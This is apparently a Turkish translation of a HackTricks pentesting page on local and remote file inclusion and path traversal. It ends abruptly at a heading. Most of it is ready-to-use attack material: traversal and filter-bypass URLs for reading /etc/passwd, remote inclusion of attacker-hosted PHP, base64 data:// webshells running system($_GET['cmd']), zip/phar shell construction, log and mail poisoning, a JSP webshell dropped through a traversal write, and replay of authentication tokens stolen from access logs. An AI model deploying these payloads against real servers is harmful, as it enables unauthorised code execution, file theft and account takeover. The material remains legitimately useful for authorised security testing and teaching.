File Inclusion/Path traversal

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

File Inclusion

Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazabilirsiniz ve sunucu onu çalıştırır). php’de bu varsayılan olarak devre dışıdır (allow_url_include).\
Local File Inclusion (LFI): Sunucu yerel bir dosyayı yükler.

Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.

Etkilenen PHP fonksiyonları: require, require_once, include, include_once

Bu zafiyeti exploit etmek için ilginç bir araç: https://github.com/kurobeats/fimap

Blind - İlginç - LFI2RCE dosyaları

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Birkaç *nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \
Ayrıca ../../../../../ eklemeyi deneyin

Birden fazla teknik kullanarak /etc/password dosyasını bulmaya yönelik bir liste (zafiyetin var olup olmadığını kontrol etmek için) şurada bulunabilir here

Windows

Farklı wordlistlerin birleşimi:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \
Ayrıca C:/ kaldırıp ../../../../../ eklemeyi deneyin

Birden fazla teknik kullanarak /boot.ini dosyasını bulmaya yönelik bir liste (zafiyetin var olup olmadığını kontrol etmek için) şurada bulunabilir here

OS X

linux için LFI listesini kontrol edin.

Temel LFI ve bypass’lar

Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion’a da uygulanabilir (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences özyinelemeli olmadan kaldırılmış

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass: verilen dizgenin sonuna daha fazla karakter eklenmesini atlatma (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Bu PHP 5.4’ten beri çözülmüştür

Kodlama

Standart dışı kodlamalar kullanabilirsiniz; örneğin double URL encode (ve diğerleri):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) saldırgan tarafından sağlanan HTML, SVG, CSS ve font URL’lerini memnuniyetle ayrıştırır; ancak dosya sistemi erişimi olan güvenilen backend ağları içinde çalışırlar. $pdf->writeHTML()/Html2Pdf::writeHTML() içine HTML enjekte edebilirseniz, web sunucusu hesabının okuyabileceği yerel dosyaları sıkça exfiltrate edebilirsiniz.

  • Fingerprint the renderer: her oluşturulan PDF bir Producer alanı içerir (örn. TCPDF 6.8.2). Tam build’i bilmek hangi path filters’in mevcut olduğunu ve URL decoding’in doğrulamadan önce gerçekleşip gerçekleşmediğini söyler.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() <image> elementlerindeki xlink:href özniteliğini urldecode() çalıştırmadan önce okur. Kötü amaçlı bir SVG’yi data URI içinde gömmek birçok HTML sanitizer’ın payload’u yok saymasına neden olurken TCPDF yine de bunu ayrıştırır:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF, / ile başlayan yollara $_SERVER['DOCUMENT_ROOT'] ekler ve .. öğelerini yalnızca daha sonra çözer; bu yüzden prepend işleminden sonra root’tan kaçmak için ya başa ../../.. segmentleri ya da /../../.. kullanın.

  • Kodlayarak basit filtreleri atlatma: Sürümler ≤6.8.2, URL’i decode etmeden önce sadece literal alt dize ../’ü kontrol eder. SVG içinde veya ham bir <img src> özniteliğinde ..%2f (veya ..%2F) göndermek kontrolü atlatır, çünkü traversal dot-dot-slash dizisi yalnızca TCPDF urldecode()’u çağırdıktan sonra yeniden oluşturulur.
  • Çok aşamalı decoding için çift kodlama: Eğer kullanıcı girdisi web framework tarafından ve TCPDF tarafından decode ediliyorsa, slash’ı çift kodlayın (%252f). Bir decode bunu %2f yapar, TCPDF’deki ikinci decode bunu /’ye çevirir; böylece /..%252f../../../../… elde edilir ve erken filtreye hiç ../ gösterilmez.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() aynı işlem sırası hatasını içerir, bu da src="%2f..%252f..%252ftmp%252fsecret.png" gibi doğrudan HTML payload’larının herhangi bir yerel olarak erişilebilir bitmap’i okumasına izin verir.

Bu teknik PDF worker tarafından okunabilir olan her şeyi leaks (pasaport taramaları, görsel olarak render edilmiş API anahtarları vb.). Hardeners bunu 6.9.1’de yolları kanonikleştirerek (isRelativePath()) düzeltti, bu yüzden testler sırasında daha eski Producer sürümlerini önceliklendirin.

Mevcut klasörden

Belki back-end klasör yolunu kontrol ediyordur:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Sunucuda Dosya Sistemi Dizinlerini Keşfetme

Bir sunucunun dosya sistemi, sadece dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:

  1. Dizin Derinliğini Belirleyin: Sunucunun Linux tabanlı olması durumunda /etc/passwd dosyasını başarıyla çekerek mevcut dizininizin derinliğini belirleyin. Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir; bu, derinliğin üç olduğunu gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Klasörleri Ara: Şüphelenilen klasörün adını (ör. private) URL’ye ekleyin, sonra /etc/passwd’e geri gidin. Ek dizin seviyesi, depth değerini bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Sonuçları Yorumlayın: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
  • Hata / Çıktı Yok: Belirtilen konumda private klasörü muhtemelen yoktur.
  • /etc/passwd içeriği: private klasörünün varlığı doğrulanır.
  1. Yinelemeli Keşif: Keşfedilen klasörler alt dizinler veya dosyalar için aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak daha fazla sorgulanabilir.

Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için payload’u buna göre ayarlayın. Örneğin, /var/www/’ün bir private dizini içerip içermediğini kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarsak) kullanın:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.

PHP’de, dosya sistemi yapısı nedeniyle bir dosya yolunun çeşitli gösterimleri eşdeğer kabul edilebilir. Örneğin:

  • /etc/passwd, /etc//passwd, /etc/./passwd, ve /etc/passwd/ aynı yol olarak işlenir.
  • Son 6 karakter passwd olduğunda, sonuna / eklemek (yani passwd/ yapmak) hedeflenen dosyayı değiştirmez.
  • Benzer şekilde, bir dosya yoluna .php eklenmişse (ör. shellcode.php), sonuna /. eklemek erişilen dosyayı değiştirmez.

Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd’e erişmek için path truncation kullanımını göstermektedir:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Bu senaryolarda, gereken traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) ekstra dot segments ve karakterlerle birleştirildiğinde dosya sisteminde gezinti için kullanılabilir ve sunucunun eklediği dizeleri etkisiz hale getirerek yok sayabilir.
  • Determining the Required Number of Traversals: Deneme yanılma yoluyla kök dizine ve ardından /etc/passwd’e ulaşmak için gerekli ../ dizilerinin tam sayısı bulunabilir; böylece .php gibi eklenen dizeler etkisizleştirilir fakat hedef yol (/etc/passwd) korunur.
  • Starting with a Fake Directory: Yolu var olmayan bir dizinle (ör. a/) başlatmak yaygın bir uygulamadır. Bu teknik önlem amaçlı veya sunucunun path parsing mantığının gereksinimlerini karşılamak için kullanılır.

When employing path truncation techniques, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.

Bu güvenlik açığı PHP 5.3’te düzeltildi.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php’de bu varsayılan olarak devre dışı bırakılmıştır çünkü allow_url_include Off. Çalışması için On olmalıdır ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Eğer bir nedenle allow_url_include On ise, fakat PHP harici web sayfalarına erişimi filtering ile engelliyorsa, bu gönderiye göre, örneğin base64 ile data protokolünü kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Önceki kodda, son +.txt eklendi çünkü saldırganın .txt ile biten bir string’e ihtiyacı vardı, bu yüzden string bununla biter ve b64 decode’dan sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla çalıştırılacak).

Başka bir örnek php:// protokolünü kullanmayan şöyle olur:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Kök element

python’da aşağıdaki gibi bir kodda:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Kullanıcı absolute path’i file_name olarak geçirirse, önceki yol sadece kaldırılır:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Bu, the docs bölümüne göre beklenen bir davranıştır:

Eğer bir bileşen absolute path ise, önceki tüm bileşenler atılır ve birleştirme absolute path bileşeninden devam eder.

Java Dizinleri Listeleme

Görünüşe göre Java’da bir Path Traversal varsa ve bir dosya yerine dizin isterseniz, dizinin listelemesi döndürülür. Bu diğer dillerde gerçekleşmiyor (afaik).

En yaygın 25 parametre

Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek en yaygın 25 parametrenin listesi bulunmaktadır (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filtreleri, verinin okunmadan veya yazılmadan önce temel değişiklik işlemleri yapılmasına izin verir. Filtrelerin 5 kategorisi vardır:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Veriden etiketleri kaldırır ( “<” ve “>” karakterleri arasındaki her şey)
  • Not: Bu filtre PHP’nin modern sürümlerinden kaybolmuştur
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Farklı bir kodlamaya dönüştürür(convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesini almak için konsolda çalıştırın: iconv -l

Warning

convert.iconv.* dönüşüm filtresini kötüye kullanarak herhangi bir metin oluşturabilirsiniz, bu da herhangi bir metni yazmak veya include gibi bir fonksiyonun herhangi bir metni işlemeye zorlanmasını sağlamak için faydalı olabilir. Daha fazla bilgi için bakınız LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: İçeriği sıkıştırır (useful if exfiltrating a lot of info)
  • zlib.inflate: Veriyi açar
  • Encryption Filters
  • mcrypt.* : Kullanımdan kaldırıldı
  • mdecrypt.* : Kullanımdan kaldırıldı
  • Other Filters
  • PHP’de var_dump(stream_get_filters()); çalıştırdığınızda birkaç beklenmeyen filtre bulabilirsiniz:
  • consumed
  • dechunk: HTTP chunked encoding’i tersine çevirir
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” kısmı büyük/küçük harfe duyarsızdır

php filters’ı oracle olarak kullanarak herhangi dosyaları okumak

In this post sunucudan çıktı alınmadan bir yerel dosyanın okunmasına yönelik bir teknik öneriyor. Bu teknik, oracle olarak boolean exfiltration of the file (char by char) using php filters’ı kullanmaya dayanır. Bunun nedeni, php filters’ın bir metni php’nin bir istisna fırlatacağı kadar büyütebilmesidir.

Orijinal yazıda tekniğin detaylı açıklaması bulunuyor, burada kısa bir özet:

  • Metnin baştaki karakterini önde bırakmak ve stringin boyutunun üssel olarak artmasını sağlamak için codec UCS-4LE kullanın.
  • Bu, ilk harf doğru tahmin edildiğinde çok büyük bir metin üretmek için kullanılacak ki php bir hata tetikleyecek.
  • dechunk filtresi ilk karakter onaltılık değilse her şeyi silecektir, bu yüzden ilk karakterin hex olup olmadığını anlayabiliriz.
  • Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle) metnin başındaki bir harfi, onu onaltılık olmayan bir karakter haline getirecek kadar dönüşüm yaptığımız zamanı görerek tahmin etmemize izin verecek. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası php’nin hata vermesine yol açar.
  • Codec convert.iconv.UNICODE.CP930 her harfi bir sonrakine dönüştürür (yani bu codec’ten sonra: a -> b). Bu, ilk harfin örneğin a olup olmadığını keşfetmemizi sağlar; çünkü bu codec’i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık bir karakter olmaz, dolayısıyla dechunk onu silmez ve php hatası, başlangıç bombasının çarpımı nedeniyle tetiklenir.
  • Başlangıçta rot13 gibi diğer dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkün (ve diğer codec’ler diğer harfleri hex aralığına taşımak için kullanılabilir).
  • İlk karakter bir sayı olduğunda, base64 ile encode etmek ve sayıyı leak etmek için ilk 2 harfi leak etmek gerekir.
  • Son problem, how to leak more than the initial letter’ı görmek. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filtreleri kullanılarak karakterlerin sırası değiştirilebilir ve metnin ilk pozisyonuna metnin diğer harfleri getirilebilir.
  • Ve further data elde edebilmek için fikir, başta 2 byte junk data üretmek convert.iconv.UTF16.UTF16 ile, UCS-4LE uygulayıp bunun sonraki 2 byte ile pivot olmasını sağlamak ve delete the data until the junk data (bu, ilk metnin ilk 2 byte’ını kaldıracaktır). İstediğiniz biti leak edene kadar bunu tekrarlayın.

Yazıda otomatik olarak bunu gerçekleştiren bir araç da leaked: php_filters_chain_oracle_exploit.

php://fd

Bu wrapper, işlemin açık tuttuğu file descriptors’a erişmeye izin verir. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ayrıca php://stdin, php://stdout and php://stderr kullanarak sırasıyla file descriptors 0, 1 and 2’ye erişebilirsiniz (bunun bir attack’te nasıl işe yarayabileceğinden emin değilim)

zip:// and rar://

İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyip ona erişin.
rar protocol’ü kötüye kullanabilmek için özel olarak etkinleştirilmesi gerekir.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include tarafından kısıtlandığını unutmayın.

expect://

Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Payload’unuzu POST parametrelerinde belirtin:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Bir .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonlardan yararlandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıdaki PHP kodu örneği bir .phar dosyasının oluşturulmasını göstermektedir:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır:

php --define phar.readonly=0 create_path.php

Çalıştırıldığında test.phar adında bir dosya oluşturulur; bu, Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.

LFI, içindeki PHP kodunu çalıştırmadan sadece file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonlarla dosya okuma yapıyorsa, deserialization zafiyeti üzerinden istismar denemesi yapılabilir. Bu zafiyet phar protokolünü kullanarak dosya okunmasıyla ilişkilidir.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

PHP’de php filters’ı destekleyen any arbitrary file read from PHP that supports php filters kullanılarak RCE elde etmek mümkün oldu. The detailed description can be found in this post.
Çok kısa özet: PHP heap’inde bir 3 byte overflow kullanılarak belirli boyuttaki serbest chunk zinciri alter the chain of free chunks değiştirildi, böylece herhangi bir adrese write anything in any address yazılabildi; bu yüzden system çağırmak için bir hook eklendi.
Daha fazla php filter kötüye kullanılarak belirli boyutlarda chunk’lar alloc etmek mümkün oldu.

More protocols

Daha fazla olası protocols to include here:

  • php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack’ta bunun nasıl faydalı olabileceğinden tam emin değilim)
  • file:// — Yerel dosya sistemine erişim
  • http:// — HTTP(s) URL’lerine erişim
  • ftp:// — FTP(s) URL’lerine erişim
  • zlib:// — Sıkıştırma akışları
  • glob:// — Desene uyan dosya yollarını bulma (yazdırılabilir hiçbir şey döndürmediği için burada pek kullanışlı değil)
  • ssh2:// — Secure Shell 2
  • ogg:// — Ses akışları (rastgele dosyaları okumak için kullanışlı değil)

PHP’nin ‘assert’ ile LFI

PHP’de Local File Inclusion (LFI) riskleri, string içindeki kodu çalıştırabilen ‘assert’ fonksiyonuyla uğraşırken özellikle yüksektir. ‘..’ gibi dizin geçişi karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse bu özellikle problemli olur.

Örneğin, PHP kodu dizin geçişini şu şekilde engelleyecek şekilde tasarlanmış olabilir:

assert("strpos('$file', '..') === false") or die("");

Bu traversal’ı önlemeyi amaçlasa da istemeden code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar eden bir saldırgan şunu kullanabilir:

' and die(highlight_file('/etc/passwd')) or '

Benzer şekilde, herhangi bir sistem komutunu yürütmek için şunu kullanabilirsiniz:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Bu teknik, dosya yolunu kontrol ettiğiniz, bir PHP function’ın erişeceği ama dosyanın içeriğini görmediğiniz durumlarda (ör. basit bir çağrı file()) geçerlidir; ancak içerik gösterilmez.

In this incredible post bu blind path traversal’ın PHP filter aracılığıyla dosya içeriğini bir error oracle üzerinden sızdırmak için nasıl kötüye kullanılabileceğini anlatıyor.

Özetle, teknik “UCS-4LE” encoding kullanarak dosya içeriğini o kadar büyük yapmayı; böylece dosyayı açan PHP function bir hata tetiklesin şeklindedir.

Daha sonra ilk karakteri leak etmek için dechunk filtresi base64 veya rot13 gibi diğerleriyle birlikte kullanılır ve son olarak filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE diğer karakterleri başlangıca yerleştirip onları leak etmek için kullanılır.

Potansiyel olarak zafiyetli fonksiyonlar: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Teknik detaylar için bahsedilen yazıya bakın!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Sunucu tarafı kodu, hedef yolu kullanıcı kontrollü veriyi (ör. bir filename veya URL) canonicalise edip doğrulamadan oluşturduğunda, .. segmentleri ve absolute paths amaçlanan dizinden çıkarak arbitrary file write’e neden olabilir. Eğer payload’ı web’e açık bir dizine koyabiliyorsanız, genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.

Tipik exploitation workflow:

  • Bir endpoint veya background worker içinde path/filename kabul edip içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
  • Web’e açık dizinleri belirleyin. Yaygın örnekler:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Amaçlanan storage dizininden webroot’a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
  • Bıraktığınız payload’a tarayıcıyla gidin ve komutları çalıştırın.

Notlar:

  • Yazma işlemini yapan vulnerable service non-HTTP port’ta dinliyor olabilir (ör. TCP 4004’te bir JMF XML listener). Ana web portal (farklı port) daha sonra payload’ınızı sunar.
  • Java yığınlarında bu dosya yazımları genellikle basit File/Paths concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Bu tür hataları etkisiz hale getiren sertleştirmeler:

  • Yolu kanonik hale getirip bunun allow-listed bir temel dizinin alt dizini olduğunu zorunlu kılın.
  • .., mutlak root’lar veya sürücü harfleri içeren herhangi bir yolu reddedin; tercihen oluşturulmuş dosya adlarını kullanın.
  • Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen root’lardan ayırın.

Remote File Inclusion

Daha önce açıklandı, follow this link.

Via Apache/Nginx log file

Eğer Apache veya Nginx sunucusu include fonksiyonu içinde LFI’ye karşı açık ise, /var/log/apache2/access.log or /var/log/nginx/access.log dosyalarına erişmeyi deneyebilir, user agent’e veya bir GET parameter’a <?php system($_GET['c']); ?> gibi bir php shell koyup o dosyayı include edebilirsiniz

Warning

Not: çift tırnak kullanırsanız shell için tek tırnak yerine, çift tırnaklar “quote;” stringine dönüştürülecek, PHP orada bir hata fırlatacak ve başka hiçbir şey çalıştırılmayacak.

Ayrıca, payload’u doğru yazdığınızdan emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.

Bu diğer loglarda da yapılabilir fakat dikkatli olun, log içindeki kod URL encoded olabilir ve bu Shell’i bozabilir. Başlık authorisation “basic” Base64 içinde “user:password” içerir ve loglar içinde decode edilir. PHPShell bu başlığın içine yerleştirilebilir.\ Diğer olası log yolları:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Erişim loglarını okuyarak GET-based auth token’larını toplama (token replay)

Birçok uygulama yanlışlıkla session/auth token’larını GET üzerinden kabul eder (ör. AuthenticationToken, token, sid). Eğer web server logs’a path traversal/LFI primitive ile erişiminiz varsa, bu token’ları access logs’tan çalabilir ve replay yaparak authentication’ı tamamen atlayabilirsiniz.

How-to:

  • traversal/LFI kullanarak web server access log’unu okuyun. Yaygın konumlar:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Bazı endpoints dosya okumalarını Base64-encoded olarak döndürebilir. Eğer öyleyse, lokalde decode edin ve log satırlarını inceleyin.
  • token parametresi içeren GET isteklerini grep’leyin ve değerini yakalayın, sonra uygulamanın entry point’ine karşı replay edin.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Gövde Base64 ise çözün, ardından yakalanmış token’ı replay edin:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notlar:

  • Tokens in URLs are logged by default; production sistemlerinde bearer tokens’ı asla GET ile kabul etmeyin.
  • Eğer uygulama birden fazla token adı destekliyorsa, AuthenticationToken, token, sid, access_token gibi yaygın anahtarları arayın.
  • Logs’a leak olmuş olabilecek tokenları rotate edin.

Via Email

Bir mail gönderin internal bir hesaba (user@localhost) PHP payload’unuzu <?php echo system($_REQUEST["cmd"]); ?> gibi içerecek şekilde ve kullanıcının mailini /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME> gibi bir path ile include etmeyi deneyin.

Via /proc/*/fd/*

  1. Çok sayıda shells yükleyin (örneğin: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = PID of the process (can be brute forced) ve $FD = file descriptor (can be brute forced too)

Via /proc/self/environ

